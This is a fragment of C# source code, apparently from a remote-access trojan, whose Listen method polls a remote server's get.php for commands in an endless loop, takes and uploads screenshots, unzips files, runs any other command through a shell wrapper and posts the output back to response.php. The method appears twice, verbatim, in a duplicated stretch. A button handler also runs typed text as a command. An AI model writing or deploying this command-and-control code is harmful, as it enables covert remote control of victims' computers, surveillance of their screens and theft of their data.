public void Listen(object sender, EventArgs e) { while (true) { CMD _CMD = new CMD(); string r = Http.Get(_BaseURL + "get.php"); if (r != "") { string id = r.Substring(0, r.IndexOf(":")); string command = r.Substring(r.IndexOf(':') + 1); string response; switch (command.Split(' ')[0]) { case "screenshot": Screenshot ss = new Screenshot(); ss.Upload(); response = ss.FormatResponse(); break; case "unzip": string file = ""; try { file = command.Split(' ')[1]; } catch { } Zip.Unzip(file); response = ">>" + command + "\n\nCompleted\n\n"; break; default: response = _CMD.Run(command); break; } string err = Http.Post(_BaseURL + "response.php", "id=" + id + "&response=" + response); } Thread.Sleep(1000); } }
public void Listen(object sender, EventArgs e) { while (true) { CMD _CMD = new CMD(); string r = Http.Get(_BaseURL + "get.php"); if (r != "") { string id = r.Substring(0, r.IndexOf(":")); string command = r.Substring(r.IndexOf(':') + 1); string response; switch (command.Split(' ')[0]) { case "screenshot": Screenshot ss = new Screenshot(); ss.Upload(); response = ss.FormatResponse(); break; case "unzip": string file = ""; try { file = command.Split(' ')[1]; } catch { } Zip.Unzip(file); response = ">>" + command + "\n\nCompleted\n\n"; break; default: response = _CMD.Run(command); break; } string err = Http.Post(_BaseURL + "response.php", "id=" + id + "&response=" + response); } Thread.Sleep(1000); } }
private void button1_Click(object sender, EventArgs e) { string c = textBox1.Text; _CMD.Run(c); }